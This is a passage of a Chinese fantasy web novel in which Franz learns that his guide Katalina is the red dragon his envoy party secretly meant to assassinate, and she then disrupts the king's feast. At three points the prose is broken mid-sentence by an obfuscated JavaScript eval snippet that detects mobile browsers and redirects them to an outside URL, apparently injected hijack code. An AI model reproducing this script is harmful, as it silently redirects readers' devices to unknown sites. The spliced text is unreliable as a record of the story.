过了很久，久到最开始喝下去的那点儿酒液早就随着汗蒸腾掉了，尽管如此，两个人的嘴唇还是汗津津地贴在了一起，嘴角破裂，血丝渗出，像两头野兽在相互撕咬。 她给予他疼痛，她让他感到存在。 直到精疲力竭，两人才四肢缠绕地滚作一团，沉沉睡去。 只是还没有休息多久，弗兰茨就在一阵隆隆声中惊醒过来。 他合拢衣服，挣扎着坐了起来，神色萎靡，却见原本躺在身侧的卡塔利娜不知何时被一头巨大的红龙替代了。 是的，这是一头红龙。 这是他们要行赏、要进贡，或者说，要刺杀的，红龙。 他们的话题所指，他们的目标所在，此时此刻，就躺在弗兰茨身边酣睡。 那个小小的项链盒早在最开始的时候就被卡塔利娜扔到了一旁，也许是纵情时分压坏了它，又或者是睡着时不小心被谁踢到，现在它正歪歪扭扭地倒在地上，松香粉洒了一地。 红龙一个侧身，将粉末吸入，于是它睡得更熟，睡得更深，即使将囚室蹬塌了一半，隆隆声响也未能将它震醒。 这是一头，酣睡着的红龙。 弗兰茨不顾身上轻微的酸痛，缓缓地站了起来，他看着眼前这头巨大的红龙，看着它一身如同在烈火中淬炼而出的坚硬的赤红的鳞片，看着它于沉睡中缓缓喷出一口龙息，蓬勃的热气化作云雾——他先是错愕，惊讶，心底掀起狂风巨浪，然后他长久地呆愣住了。 尽管未能亲眼所见，但在此刻，弗兰茨几乎可以笃定，卡塔利娜就是这头红龙。 若是这个猜想成立，那么先前的疑惑就便都有了答案。 为什么她说话的方式与旁人不同，为什么她知道无雪密道，为什么她游刃有余，一直以观察者的姿态参与整个行程。 卡塔利娜，她是一切风暴的中心。 弗兰茨沉浸在巨大的震撼之中，久久不能回神。 突然，一阵急匆匆的脚步由远及近，弗兰茨猛地一回头，却见伍德几人提着武器形容狼狈，显然耗费了一通力气才从其它的囚室里逃出来。 见到弗兰茨，他们也很意外。 伍德以为弗兰茨先他们一步找到红龙，有些不痛快，罗斯的目光则从弗兰茨的脖颈处一闪而过，心中了然。 其余人却是惊疑不定，明明刚从囚室逃出，为何兜兜转转伍德又将他们往巨响处带，似乎争分夺秒地寻找红龙。 “很好，就是现在，”伍德压低了声音，但兴奋仍从他的脸上流露出来，“现在我需要你们助我一臂之力。” “什么助力？我们不是找出口吗？”亨特大吃一惊，“你怎么把我们带到这里来了？还有罗兰先生，你怎么在红龙的身边？” “不，当然不，我们现在要完成陛下的最高指令，”伍德的声音逐渐亢奋起来，“我们杀了它！趁龙牙还没有反应过来，趁它睡着了，快！” “不行！” 听到这话，弗兰茨来不及思考更多，直接上前两步钳制住伍德的手臂。 “为什么不行？！你在做什么？！赶紧给我松手！”伍德气急败坏。 情急之下，弗兰茨无法向他们解释卡塔利娜就是红龙，而且他敢肯定，如果说出来反而会令他们生疑。 他只好往另一个方向引：“你、我们明明是来‘行赏’的，格兰德城的伙伴之所以加入也是为此荣光。伍德先生，现在您却偏偏以一个不可能存在的陛下的密令，诱导我们杀死红龙，您的居心何在？难道您要破坏我们拜里科斯多年的传统？要令拜里科斯荣誉的王冠就此蒙尘？” 弗兰茨的声音有意地越提越高：“更何况您这一路上的表现实在堪忧，这并不是一个合格的使团团长所为，我们完全可以怀疑您的目的。红龙死了，受益的唯有维洛兰王国，难不成你是他们派来的奸细？！” 他的话锋一转，面对格兰德城人柔声道：“伙伴们，我身为驭龙女士的后人，绝不允许这样的事情发生，我相信拜里科斯的子民也是一样。” 话音落下，四周俱静。 伍德神色恼怒，弗兰茨则心跳如雷，阻止屠龙者他一个人显然做不到，唯有拉拢格兰德城人方能一搏。这样的话他不清楚格兰德城人是否会相信，他只能赌，赌伍德不得人心，赌格兰德城人对自己的信任多于对伍德。 格兰德城人面色凝重，弗兰茨心中不安，因此一个不注意就被伍德挣脱。 “滚开，我自己来！”伍德显然将希望寄托于此，他将弗兰茨甩到一边后就要飞身上前。 “铛”的一声响，弗兰茨惊惧地向声源处张望，却见伍德的长剑并没有砍到卡塔利娜的身上—— 他被一个龙牙战士挡住了。 弗兰茨轻轻吐出一口气。 伍德的长剑砍在龙牙战士的肩膀上，僵持着发出令人牙酸的吱呀声，下一瞬，龙牙以手为刃，“噗哧”一声，贯穿了伍德的腹部！ “伍德！” 罗斯低喊一声，雷东多则上前两步接住跌倒的伍德，龙牙战士的左手上滴滴答答垂落着鲜血，不远处则有更多的龙牙源源不断地赶了过来。 “快走！” 罗斯当机立断，与雷东多一起搀起伍德，指挥众人向外逃去。 弗兰茨看了卡塔利娜一眼，她的睡姿狂放，显然陷进了绵长的睡梦之中。 龙牙战士越逼越近，弗兰茨无法再做些什么，他转过身匆匆离去。 . 七日后。 格兰德城西港，一艘单桅小船悄然离开。 这是一个明媚的午后，阳光灿烂，海风轻柔。 但纵使碧波荡漾，也难让船上的人心情愉悦。 伍德被龙牙战士刺穿腹部，但幸好没有伤及要害，他拒绝了城主挽留他们修养的“好意”，急急忙忙地想要往王国大陆赶。 因此，他现在只能狼狈地躺在船舱里休息，翻身艰难，唇色发白，和他来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991987|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时的意气风发截然不同。 弗兰茨独自一人站在甲板上，往下望，船头如剪破开海水深蓝的绸布，白浪翻飞，偶尔有游鱼跃动。 自从离开龙穴后，这还是他第一次有空闲的时间独处。 先不说从龙穴逃回格兰德城内的艰辛，单是“杀死红龙”的秘密任务暴露后，他们面临的责难和不信任就足够费神耗力了。 伍德倒是先晕厥为快，剩下的人只能直面以亨特和城主为首的格兰德城人的质疑——打着“行赏”的名头出发，却不让他们成为使团成员，最后还瞒着他们谋杀红龙，显然是拿他们迷惑红龙的视线。 城主拿不出好脸色，亨特和佩斯更是怒火燃烧。再加上小汤普森愚蠢的行为害死了一大半参与的格兰德城人，即使弗兰茨是唯一一个不知情的使团成员，也难逃牵连。 所谓唯一一个。 弗兰茨沉思，他猜测这一次参与“行赏”的使团成员中，有一部分是知情，有一部分则是不知情。 伍德、罗斯、雷东多，他们要么是国王近卫，要么是骑士团成员，因此弗兰茨觉得知情者大多都是这样的角色；而其余人，包括后来加入的格兰德城人不过是一个遮掩视线的幌子。 红龙也可能有所察觉，所以设下了迷雾森林还有彩虹河，双方都在暗地较量，只等最后一刻的到来。 所以，为什么要杀死红龙？ 如果前面的猜测没有问题，那么当“行赏”成为“行赏”的那一刻，意味就已经变了。 梅兰妮尔·杜兰德的手札上记录过，她与红龙交好，那条便捷的无雪密道很有可能是为了方便她而修建的。但是后来，她无法前往，红龙巢穴的大量财宝自然招人觊觎。 友谊的“盟约”被矮化为“赏赐”和“驾驭”，王国财政上的负担和英雄史诗必要的构建，杀死红龙似乎已经成为了唯一选择。 怪不得他们一路上的言行有所遮掩，弗兰茨抬头向前仰望，在天与海的交界处，王国大陆的轮廓遥遥可见。 最终的结局将要到来。 一个不知道秘密任务的人撞破了真相，还和其他深知内情的人一同回归王都，并不是什么幸运的事情。 他还活着，不是他们决定放自己一马，弗兰茨很清楚，自己回去极有可能成为秘密任务失败的替罪羊。 就是这样的结局吗？ 他仰起头，缓缓闭上眼睛，暖风吹拂，阳光落下，透过薄薄的眼皮，他的眼前呈现一片红色。 红色。 是血的颜色，是红龙的颜色，是和他相互撕咬后卡塔利娜嘴唇的颜色。 面临即将到来的终章，弗兰茨非但没有紧张，反而不由自主地回想起那个发生了一切疯狂事情的囚室。 这是他第一个发生亲丨密关系的对象，而这个对象不是一个人，是一头强大的龙。 在人生前二十四年中，他没有心力去想象将来的对象，而这一次“行赏”，他不仅意外地发生了亲密关系，还冲击了他过去的认知。 太过荒诞，太过惊骇，一回想起来，弗兰茨就难掩神色，好在此时甲板上只有他一人。 还会再见到她吗？ 弗兰茨不由得想，如果真的有机会再见到卡塔利娜，场面反倒不会太美妙吧。 19. 第 19 章 离开王国大陆时，使团成员伴随着欢歌乐舞，承载着期待与艳羡；回来时却不敢大力声张，伍德满脸病容，被龙牙刺伤的腹部因为舟车劳顿久久不能愈合，更何况他听说秘密任务失败的消息早已如疾风飞到了王廷中那位至高无上的陛下耳中，这让他担惊受怕，日思夜忧。 然而再怎么期待路况不好，马车受损，他们还是一路顺畅的回到了王都。 弗兰茨本以为他们会直接面见陛下，承受他的雷霆怒火，怎知一封密诏单独将伍德与罗斯召进宫里，他和雷东多则被安置在宫外的金水仙公馆中。 这里不仅有他们两人，先前在海难中受伤的部分使团成员们也被格兰德城城主提前派船送回至公馆休养。 听闻弗兰茨和雷东多的归来，不少人前来探望。 “罗兰先生，为何让愁云笼罩您的眉间，行赏归来，您应当欢欣才是。” “雷东多，陛下为何只召见伍德团长和罗斯副团长，可是有要事商讨？” “真奇怪，那个城主即使先前不算殷勤，后面的态度也太过糟糕，我们好歹也算使团成员，居然不等我们痊愈，也不让我们同团长一起回来，急急地把我们送走了。” 弗兰茨待在人群中，与使者们交谈。 正如他料想的那般，同样是使团成员，一部分对于秘密任务一事显然一无所知，他们的脸上因为误会行赏十分成功而发散着骄傲的光彩；另一部分成员则显得心事重重，一副欲言又止的模样。 等伍德和罗斯禀告完后会发生什么？ 弗兰茨不由得开始猜测，但无论是哪个方向，结局都不算太好。 然而伍德和罗斯始终没有出现在人群面前，每次行赏后例行举办庆典的消息却四处传开了。 庆典？ 收到这个消息时弗兰茨仍在公馆，但他也无需向家中传递消息准备服装，因为历届使者在参加庆典时都有专门定制的制服。 在弗兰茨疑惑不解的准备中，庆典伴随着初夏的雷声盛大展开。 在一场洗净铅尘的暴雨后，六十六门礼炮率先奏响了庆典前奏，道路的两侧已长满了丁香和金盏花，人们挥舞着手绢和礼貌目视着使团成员们骑马而过。 长风吹过，除了花香还带来了泥土轻微的腥气，弗兰茨下意识抬头，天低低地压着，透出一点儿风雨降至的灰色。 向民众们展现完风采，成员们将依次进入王宫，此时，才算庆典真正的开始。 弗兰茨被安排在队伍前半部分，因此他很快就发现，几日未见的伍德和罗斯正走在队伍的最前端。 在与罗斯单独觐见完陛下后，伍德的气色看起来居然比先前要好，不由得让人联想到陛下没有责难于他们的意思。 真的是这样吗？ 弗兰茨向更前方望去，在他视线的尽头端坐着一位中年男子，头戴盛冠，面色油润，脸上正挽起和煦的微笑，看起来比实际年龄轻——这就是拜里科斯王国当今的陛下，奥伯伦·温德米尔。 国王的左下首站着一位神色阴沉的女人，她的脸色苍白，看起来比实际年龄大许多，这正是陛下的妹妹，塞莱斯特亲王。 “欢迎归来，我的勇士们。”国王走下王座，展开双臂，于是两侧的人群也微笑着像潮水一样涌了上来。 “欢迎欢迎。”他们高举酒杯欢笑着，声声贺喜叠在一起像蜂群发出纷繁的嗡鸣。 庆典开始了。 . 很舒服。 卡塔利娜从睡梦中醒来，她懒洋洋地舒展了一下身体，于是耳边传来了熟悉的震动声。听声音，大概又是哪一块岩石被她踹倒了吧。 她不为所动地打了一个哈欠，左前肢仍盖在胸口上。 直到又眯了一小会儿，卡塔利娜才算彻底清醒过来。她习惯性地翕动鼻子，嗅闻空气中的味道，来了解在她睡着后龙穴是否发生过什么重要事情。 一般是没有的，但这一次，她嗅到了淡淡的血腥气。 并不新鲜，凝固了一段时间，不好闻，混合着对权力的欲望与野心。 这是，这是谁的血来着？ 卡塔利娜甩着尾巴想，将一地碎石从这头扫到那头，又从那头扫回这头，噼里啪啦地响。 啊，是那个，那个自大的人类男性，叫，叫伍德？ 卡塔利娜闭着眼又嗅了嗅，于是气味在她的脑海里被逐渐拉长线，被编织，画面重现—— 伍德孤注一掷高举长剑，龙牙阻挡，刺伤伍德，惊叫，逃窜，真是很无聊的一个故事。 卡塔利娜翻了一个身，继续嗅闻，嗯，还有一点儿的，是时间再往前一些的味道。 有一点松香粉的味道，一点情欲的味道，一点痛苦又快乐的味道。 这是……啊，这是，卡塔利娜想起来了，她愉悦地喷出一口气，头上的尖刺也沙沙地颤动起来。 这是她与弗兰茨结合的味道。 她慢慢回味了一下，龙穴内的光线向来接近于无，她的举动直接且毫无由头，所以最开始的时候弗兰茨有些惊慌。但他本就无法挣脱她的钳制，酒液更是拖延了反应时间，她施予他的疼痛，她点燃他的揉弄，他只能全盘接受。 她在黑暗中毫无阻碍，毫无顾忌地凝视他，一切都在她的预料之中。 唯一让她略感吃惊的是，酒液挥发后弗兰茨的主动迎合。 这让她意外，也让她兴奋。 先前，她并非没有尝过其他，精灵、矮人、人类，甚至是混血儿，虽然脾性各异，但每一个都模样漂亮。 她的性格强势，在亲密事情上更是掌控欲强，偏好激烈的动作。然而无论哪个物种，在□□上雄性大多都有些奇怪又自负的毛病，因此卡塔利娜和他们的相处时间都不算长，即使最开始很让她愉快，后面也难免扫兴。 直到她遇到这一个。 这一个难得让她满意。 卡塔利娜眯起了眼睛，浅褐色的瞳孔兴奋地不停收缩着。 嗒、嗒。 她的指甲一下一下敲击着地面，思绪翻腾。 之前，她之所以会注意到弗兰茨并不是因为他本人有多特别，而是因为他的身份——驭龙女士梅兰妮尔·杜兰德后人的身份。 她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991988|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后人不算少，然而参与“行赏”的只有这一个。 当年，梅兰妮尔·杜兰德被驱逐出荣誉构建的中心，以至于无法参与第三次的“行赏”。而她的儿女自然也被划分到防备的范围，只有到了第三代，当“驭龙女士”成为一个虚名的时候，她的后人才会被当成一个象征物加入。 接近这一个，总比接近其它没有参与的后人们容易。 明确了猎物后，她加入，她旁观，她审视，她找到了目标所在，尽管未能立刻拿到，她也享受了意外之喜。 不过——卡塔利娜尽情地伸展了一下身体，赤红色的鳞片从头到脚颤动起来，哗啦啦的响，随后她站起身子扇动翅膀，掀起一阵又一阵狂风——现在，她要去拿取她要的东西了。 卡塔利娜飞出龙穴，阳光落在她身上，像滚烫的岩浆在流淌。 . “好久不见，罗兰先生。” 赞美与酒盏中，一个冷淡的声音在弗兰茨耳边响起，他回过头，对上了塞莱斯特亲王的视线。 “殿下，”弗兰茨微微颔首，见到她不由得想起行赏的诸多事情，但他语调不变，道，“行赏前我们还见过的，并不算很久。” “不过，确实发生了很多，不是吗？”塞莱斯特侧过身，看向热闹的人群，伍德正伴在国王左右，接受众人的目光与青睐。 然后她转过身来，细细地打量了一番四周，他们站在宴会厅的角落，虽然周围人也不少，但并没有那么热络：“但又好像没有什么变化？” “发生的多与少，有没有变化，都不是我能决定的，”弗兰茨微笑，却没有讲述太多，“您没有参与行赏，却似乎了解很多？” “你确实没有什么变化，说话还是滴水不漏。”塞莱斯特没有回答他的问题，反而也笑了一下，她将酒盏放于一边的桌上，转身离开了。 弗兰茨望着她离去的背影，忍不住沉思，而徘徊在身边的人也终于找到机会走了过来。 “罗兰先生，别来无恙。” 来者笑意盈盈，说着一些客套话，弗兰茨应对了几番，便不顾他们脸上挂着的不满，径直从他们之间脱身而出。 走至观景台，弗兰茨靠在石栏上远望，大街上欢庆的歌舞表演已经结束，挤在街道两旁的人群也都离去，除却飞舞的飘带与旗帜，一切都恢复了往常的样貌。 而在他的身后，功臣、勋爵相互致意，许多使团使者则在讲述一场充满荣誉的旅途，听的人中不乏意外去世的使者的家人，但他们的脸上除却少许悲痛，其余都是极合时宜的骄傲与自豪。 “我明白的，我明白。我亲爱的小儿子牺牲了，他是为王国荣誉牺牲的，我为他骄傲，这样的牺牲是值得的……” 老汤普森眼含热泪，语调激昂，即使隔了一段距离，弗兰茨还是能够清晰地听见他的感慨。 他略带厌烦地呼出一口气，又想到刚刚塞莱斯特说的话。 她提前知道弗兰茨被选为使团使者，那么刺杀红龙一事呢？ 她对此又知道多少？ 弗兰茨皱了皱眉，天际边，新的风暴正在酝酿。 20. 第 20 章 “诸位。” 奥伯伦·温德米尔开怀地举起酒盏，向各位宾客致意。这位拜里科斯王国的现任国王身材高大，让人瞧不出他的年龄已有五十三岁。 在他执政期间，王国和平安定没有战争，虽然财政略有赤字，但也不算上什么大问题。 唯一令他忧虑的是，他有一位王后，几个情人，却没能得到一个孩子，而他的妹妹，王位的第一顺位继承人，年纪三十且还没有嫁出去。 幸好塞莱斯特性格内敛，又不喜欢接触王国事务，他便顺水推舟，以一个兄长的贴心关怀，让她在学校多读了十年无用的书，又宽容地让她周游王国。 也算得上皆大欢喜。 这是他在位时期第二次举行行常庆典了，场面十分盛大，“行赏”背后的事实却让他并没有那么满意。 不过，一个有耐心、有野心的国王，是不会将喜怒流于颜表的；更何况，他的身体向来健硕，他有信心见到大功告成的那一日。 当那天到来，那会是拜里科斯最值得纪念的一日，而他的名字也将会与这一天一同被历史铭记。 想到这儿，温德米尔陛下不由得有些醉了，没办法，美酒入腹，希望更是醉人。 他站在台阶上，俯视着宴会厅里欢乐的场面，耳边的乐曲与人声合奏，鼓动着他那颗壮硕的心脏。 扑、扑—— 他微笑着轻抚了一下胸口。 扑、扑—— 他皱了一下眉，怀疑自己的心跳声是否太大了些，怎么连耳膜也轻轻震动起来。 轰！ 一声巨响，王宫剧烈地摇晃起来，窗户齐齐震碎，惊慌失措地叫声此起彼伏，奥伯伦脚下一个不稳，重重地坐到了地上。 他惊疑不定，抬头向声源处望去，王宫华美的屋顶被什么巨力无情地绞碎了，碎石四溅，狂风尖啸。灰黑色的天空就在这样的混乱中逐渐从屋顶的大洞里显露了出来，与此同时，警报的钟声才迟迟响起。 当当当—— 不过一瞬，钟声被坍塌声与尖叫覆盖了，一只赤红色的巨爪重重地攥住了屋顶，紧接着一颗骇人的龙头探了进来。 “啊，你们好啊。”在众人惊声尖叫声中，红龙微妙地咧开了嘴，就像一个恐怖的笑，浓浓的白烟从它的口鼻出喷了出来，“真是不好意思打扰了你们的聚会。” 是龙，是红龙！ 奥伯伦颤抖了起来，他撑着宴会长桌强行站了起来。但这样勉强的动作并不能使他的气势增强几分，他仰视着突然降临的红龙，惊骇地说不出一句话—— 它的鳞片与尖刺层层立起，仿佛是从地心深处的岩浆里生长出来的；它的巨口是黝黑的深渊，一排利齿就像断头台上的铡刀，锋利无比；它张开了嘴，于是他恐惧地发现，在这样的利齿之后还埋伏了两排未完全长出的尖牙，于它呼出的白气中若隐若现。 它的利爪，它的身躯，它布满尖刺的长尾，无一不让人意识到—— 这是一头，货真价实的，龙。 奥伯伦的牙齿上下飞速切动起来，这是他生平第一次，也是几乎现场所有人第一次，见到一头活生生的巨龙。 没有人敢动弹，连尖叫都被强行吞回肚子里去了。 “怎么都不说话了？”红龙低语，它的声音不像人那般单独的一个声音，它更像是混合了几种声调，低沉如地鸣，但又清晰地震动着人的心。 为什么它会突然到来？ 这其实是一个颇为好笑的问题。 一头龙，它有力量，有翅膀，有着一般物种无法拥有的强大力量，它可以随心所欲为所欲为，它自然也可以如风暴一般突然降临，让人措手不及。 但拜里科斯人已经太久没有看到龙了，尽管才过去了一百余年，可他们已全然忘却了龙的力量，沉浸在“行赏”的叙事当中。 因此当他们真正面对一头会喷出烈焰，能轻而易举撕裂他们的巨龙时，他们才会问出一个如此天真又愚蠢的问题—— 你为什么会在这里？ 你为什么会在这里？ 弗兰茨站在人群中，遥遥地望着红龙，望着卡塔利娜。 他望着她一身如同烈火淬炼过的坚硬鳞片，望着她在背后不时扇动两下的美丽巨翼，望着她居高临下，从被撕裂的屋顶中投下名为恐惧的阴影。 他于呆若木鸡的人群之中遥望着她，明明知道再见她时场面不会太美妙，可在此时，弗兰茨的心底竟生出一个念头。 一个“她果真来到了这里”的念头。 “为什么我会在这里，嗯？”卡塔利娜反问道。 尽管她龙身时的声音与她人身的声音大不相同，但她直白的内容，她戏谑的语调，都和她先前与他对话时并无不同。 “为什么我会在这里，你不应该很清楚吗，陛下？”见无人答话，卡塔利娜前肢一撑探进来大半个身体，屋顶上的装饰与碎石纷纷落下，吓得宴会厅内众人又是齐齐惊叫。 “……我，我并不清楚，”奥伯伦·温德米尔颤颤巍巍地回话，他本想展示一国之主的威严，可是一开口，话就变了调子，“阁下今日何故至此，我们人类怎会知晓？” 卡塔利娜看着他脸上浮出的一层油汗，低低地笑出了声，如闷雷滚滚：“你做的好事，你还在这里装傻吗？” 宴会厅一片寂静，没有人敢直视她，更没有人敢回答她。卡塔利娜懒得等待，也懒得催促，于是她半张开巨口，漆黑的喉咙深处瞬时便燃起了火光——先是一点儿橘红色，然后越来越大，白光耀眼，一大团火球含在她尖刀似的利齿间，仿佛下一秒就要喷向众人！ “你！你！”奥伯伦声音变调，他将一直站在身边的伍德抓了过来，大声质问，“伍德团长，你是否违背了王国的荣誉，是否在行赏的途中对红龙做了什么？” 他死死地攥着他的手臂，高举着向红龙急切地示意：“阁下，是他！是不是他在行赏途中冒犯了您？挑衅了您？请不要因为此人不当的言行误会了拜里科斯友好的示意啊！” “他？”卡塔利娜侧头看向伍德，半晌，慢慢地将嘴合上了。 于是火球就这样湮灭在了她交错的利齿间，大股大股的白烟从中冒出：“那么，你的意思是，是他违背了你的意志，主动走进我的巢穴刺杀我？” 此话一出，众人惊慌的目光全聚焦到了伍德身上，照得他浑身上下冷汗尽出。他难以置信地看向国王，平日里健硕的手臂软绵绵地使不出力气，若不是奥伯伦还拽着他，恐怕此时他已经瘫坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991989|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到地上去了。 “是、是的，”奥伯伦硬着头皮道，“毕竟我们有盟约再先，又怎会毫无缘故地要将阁下谋害呢？” “道理是这么个道理。” 卡塔利娜的语调似带有一点思考的意味，奥伯伦听了，立马加大了力度，他挺直腰板，仪态也端正了不少：“当然了，红龙一向是拜里科斯的挚友，您看，驭龙女士的后人们也在现场呢。” 今日这场庆典，名义上是为“行赏”成功举行的，驭龙女士的后人们身为“吉祥物”，自然也被邀请赴宴。 梅兰妮尔·杜兰德生前育有两儿一女，女儿嫁给罗兰爵士的小儿子后离开，两个儿子则分别娶了富商家的女儿们。因此到了现在，驭龙女士的孙辈们多达九人。 除了参与行赏的弗兰茨，其余八人都来到了现场，能被陛下提及，于他们而言本该是一件幸事，但在巨龙的扫视下，这样的奖赏通通变成了煎熬。 阿奇尔·杜兰德是驭龙女士长子的幼子，也是弗兰茨最小的表弟，年仅十八，正是莽撞热切的年纪。 对于弗兰茨参与行赏一事，他既是羡慕又是嫉妒。他有着这个年纪的男孩常有的小毛病，自负且总是洋洋得意，却因为蔷薇花一般的样貌让人心生宽容；他总觉得自己能力非凡，在得知使者名单后他总是幻想，幻想若是自己去了行赏定能比那个沉静谨慎的表兄表现得更加出色。 但在此时，当他壮起胆抬头，一不小心扫到了红龙硕大的明黄色眼珠，其间暗含冰冷的审视却吓得他急急地低下了头。 这实在是太吓人了！ 弗兰茨是怎么做到前往龙穴受苦的？！ 阿奇尔心生惧怕，但男孩子微妙的胜负心让他下意识瞥了表兄弗兰茨一眼，这一眼，让他怔愣了一下。 这是一种怎样的眼神？ 对于红龙的扫视，弗兰茨似乎并不惧怕，他仰着头，像仰望一轮硕大无比、炙热无比的太阳一般仰望着红龙。 他的姿态，就像沐浴在阳光中般自然；阿奇尔并不觉得这是因为弗兰茨有着无畏的勇气，这倒像是，倒像是…… 阿奇尔想不明白，但这并不影响他将好奇的目光投到这位看似无趣的表兄身上。 “所以呢？事实就是我被刺杀了，而你们还在这儿聚会。”卡塔利娜不耐地开口。 王宫外的卫兵迟迟赶来，开始拿着小铁箭往她挠痒痒，卡塔利娜觉得烦，长满尖刺的龙尾像鞭子似的甩了两下，卫兵就像被狂风卷起的花瓣，四处飞了起来。 听到外面隐约的哭喊声，奥伯伦红润的脸色也变得苍白起来，他轻轻动了一下手指，示意王宫里的护卫暂时退下——现在进攻只会造成己方不必要的惨烈损失。 要想表达自己的歉意，那就要付出实际的行动，奥伯伦强行挤出了一丝笑意，向前走了两步，非常真诚地说：“我们并不祈求阁下熄灭怒火，但这个背判了‘行赏’的家伙必会受到最严重的惩罚——” “行赏，这难道不是‘进贡’吗？”红龙粗暴地打断国王的发言，明明是一头可怖的生物，可奥伯伦仍从它的脸上瞧出一丝残忍的笑意。 “我要参加，”不等国王遮掩，这头邪恶的红龙又吐露出一句极其惊人的话，“我要参加你们的聚会。” 21. 第 21 章 它在说什么？！ 宴会厅内下意识喧哗起来，继而马上陷入寂静，众人惊恐地瞥了一眼红龙，害怕它因此而不快。 “这、这，”奥伯伦在做最后的挣扎，“我们当然诚挚邀请阁下参与庆典，毕竟这场庆典也是与龙相关，只是，只是——您的体型！对，阁下魁梧有力的体型，我们的宴会厅过于狭小，实在没法容纳——” “你的意思是，体型太大所以不能参加？” “哦、呃，也许，我的意思是，是的。” “这并没有什么难的。”红龙武断地否决了奥伯伦的话。 阴沉沉的天空中，它扇动着一对巨翼腾空而起，微弱的日光皆被它尽数遮蔽。这巨大的阴影中，红龙的胸腔处自动燃起一团火光，火光越烧越旺，覆盖了它的全身，几乎照亮了半边天空。 它要做什么？！ 在众人惊骇的目光中，那团火球突然如流星坠地，穿过破了的屋顶重重地砸向地面！ “轰隆”一声巨响，宴会厅的地板骤然塌陷了一大块，一大片烟尘飞舞，惹得周围人不住地呛咳。 烟尘渐渐散了，有人大着胆子探头看，只见如蛛网般破裂的地面上，站着一个长着犄角的女人。 她有一头十分狂野的红发，如同熊熊燃烧的火焰，无风自动；明黄色的眼睛很大，睫毛浓密，这本应给人一种明媚轻快的感觉，可她浅褐色的竖瞳和毫无情感的眼神，使得与她对视的人无一不颤栗；她的犄角似羊角，但棱角更硬更分明，层层叠叠地向上盘旋。 除此以外，最令人惊骇的还是她的身体。 她并没有穿常人的衣物，而是在身上覆盖了一层厚厚的鳞甲，从脸颊两侧至耳后，一路向下，鳞片逐渐变大，排列得更加紧密。她的每一处皮肤皆被半透明的晶石一般的赤红鳞片整齐地包裹着，唯独胸口一处的鳞片看起来有些杂乱，像是少了一片后其他鳞片被人为地掰动过。 她的四肢仍是人类形态，只是双手的骨节更大，更硬，指尖红得发黑，指甲并不算长，但十分锋利，幽幽地闪着寒光。 “现在，”她一步一步走出地面塌陷的范围，众人便步步后退，“宴会可以开始了。” . 虽至初夏，天气还没有彻底热起来，天阴沉着脸使劲地往破了个大洞的王宫内吹风，吹得众人哆哆嗦嗦，却还不得不挥动着僵硬的肢体跳舞。 卡塔利娜在跳舞的人群中游走，她走到谁身边，又或者往谁身上瞥一眼，都会吓得那人面色惨白，几乎要昏厥在舞伴身上。等吓够了人，觉得没意思后，她又晃晃悠悠踱步到餐台旁，将人群惊得往另一个角落躲。 不好吃。 她捏着餐台上徒有其貌的糕点，又尝了一口几近无味的酒液，不悦地皱了皱眉。 这是很正常的事，庆典本是社交的狩猎场，食物也只不过是装点的工具，哪里比得上在山野间炙烤的野味，和从“贝莉的金杯”里流淌出的酒液呢？ 卡塔利娜没吃几口就丢下了手里的食物，她转过身来，饶有兴致地看着人类战战兢兢地表演宴会上该发生的事。 真令人恼怒。 看着红龙悠然自得恐吓着臣民的样子，奥伯伦强撑着笑，示意罗斯到他面前。 惹出祸事的伍德早在刚才就被他命人关押下去了，他厌恶被人威胁的感觉，也不喜欢自己的权柄被旁人分走，哪怕只是注意力；他一定要搞清楚，当时到底发生了什么，以及下一步还可以做些什么。 罗斯在他耳旁细语，红龙则无聊地东游西逛，最后在一个使团使者面前停下了脚步。 “——遇到海难后，队伍加入了一个向导，和红龙长得一模一样……” “——你在这里。” 卡塔利娜站在弗兰茨面前，面无表情地问道：“你怎么不去跳舞？” “……卡塔利娜。”弗兰茨不知该作何回答，只好很轻地笑了一下，然后又摇了摇头。 众人的目光汇聚在他身上，不用去看，他也能感觉到那些眼神里略带恶意的探究，毕竟这可是红龙第一个以好态度对待的人；不过有些人认出了弗兰茨的身份，联想到是驭龙女士的后人，疑虑也就打消了不少。 是好意还是恶意，弗兰茨已经无意深究，他也不再在乎；而卡塔利娜为何会在这里，除了明面上发泄被刺杀的怒火，肯定还有其他缘因。但是弗兰茨已经学会不去追问，他清楚如果卡塔利娜不想说，那么没有人能知道；而且相比用嘴说清楚，卡塔利娜更喜欢用现实来展现。 所以他不再纠结，而是另起一个话题：“那你想跳舞吗？” “跳舞？”卡塔利娜重复了一遍。 